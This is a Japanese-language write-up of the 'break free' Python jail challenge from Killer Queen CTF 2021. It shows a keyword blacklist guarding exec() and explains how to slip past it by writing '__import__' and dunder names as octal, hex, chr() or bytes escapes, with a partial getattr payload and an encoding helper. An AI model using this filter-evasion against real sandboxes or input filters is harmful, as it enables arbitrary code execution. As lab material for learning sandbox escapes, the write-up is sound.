Killer Queen CTF 2021 - break free
Challenge
特定の文字が禁止された pyjail。
BLACKLIST = ['import', 'os', 'sys', 'eval', 'exec', 'open', '__']
code = input()for word in BLACKLIST: if word in code: print("Blocked!") exit()
exec(code)Solution
8進数エンコード
文字列を8進数エスケープシーケンスで構築:
# 'os' = '\157\163''\157\163' # 'os'
# '__import__' = '\137\137\151\155\160\157\162\164\137\137'完全なペイロード
getattr(getattr((), '\137\137\143\154\141\163\163\137\137'), '\137\137\142\141\163\145\163\137\137')[0]文字コード変換表
| 文字 | 8進数 | 16進数 |
|---|---|---|
_ | \137 | \x5f |
i | \151 | \x69 |
m | \155 | \x6d |
p | \160 | \x70 |
o | \157 | \x6f |
r | \162 | \x72 |
t | \164 | \x74 |
Technical Details
Python の文字列エスケープ
# 8進数 (最大3桁)'\101' # 'A' (65)'\157' # 'o' (111)
# 16進数'\x41' # 'A''\x6f' # 'o'
# Unicode'\u0041' # 'A''\U00000041' # 'A'エンコード生成スクリプト
def to_octal(s): return ''.join(f'\\{ord(c):03o}' for c in s)
to_octal('__import__') # '\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137'注意点
- 8進数は
\0~\377(0-255) - 3桁を超えると解釈が変わる
- 文字列結合で長いペイロードを構築
Alternative Solutions
別解1: 16進数エンコード
'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f' # '__import__'別解2: chr() と ord()
chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)別解3: bytes と decode
bytes([95,95,105,109,112,111,114,116,95,95]).decode()Flag
kqctf{...}
References
- Killer Queen CTF 2021 Official